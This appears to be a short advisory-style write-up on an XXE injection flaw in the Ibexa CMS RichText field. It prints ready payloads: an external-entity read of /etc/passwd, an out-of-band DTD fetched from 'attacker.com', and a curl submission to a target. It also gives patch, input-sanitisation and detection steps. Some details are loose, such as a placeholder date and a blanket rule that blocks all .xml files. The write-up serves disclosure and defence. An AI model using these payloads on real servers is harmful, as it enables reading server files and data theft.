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How the CVE Works
The vulnerability exists in Ibexa’s RichText field type due to improper validation of XML input. Attackers with edit permissions (e.g., Editor role) can inject malicious XML containing external entity references. When processed, these entities force the server to read arbitrary files, leading to sensitive data exposure. The attack leverages unsafe XML parsing, allowing file retrieval via crafted payloads like:
<!DOCTYPE exploit [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <RichText>&xxe;</RichText>
Stored XXE attacks in drafts are neutralized after patching, but published exploits remain persistent if not manually removed.
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Platform: Ibexa CMS
Version: Pre-patch
Vulnerability: XXE Injection
Severity: Critical
Date: 2023-XX-XX
What Undercode Say:
Exploitation:
1. Payload Crafting:
<!DOCTYPE attack [ <!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd"> %ext; ]>
2. File Exfiltration:
curl -X POST -d "@payload.xml" https://target.com/richtext/submit
Protection:
1. Patch Application:
composer update ibexa/richtext --with-dependencies
2. Input Sanitization:
libxml_disable_entity_loader(true);
3. WAF Rules:
location ~ .xml$ { deny all; }
Detection:
- Log Analysis:
grep -r "ENTITY" /var/log/ibexa/
- Network Monitoring:
tcpdump -i eth0 'port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x3C21444F'
Mitigation Checklist:
- Restrict RichText edit permissions.
- Disable DTD processing in XML parsers.
- Audit published content for XXE remnants.
Analytics complete. No deviations.
References:
Reported By: https://github.com/advisories/GHSA-2jqj-5qv2-xvcg
Extra Source Hub:
Undercode
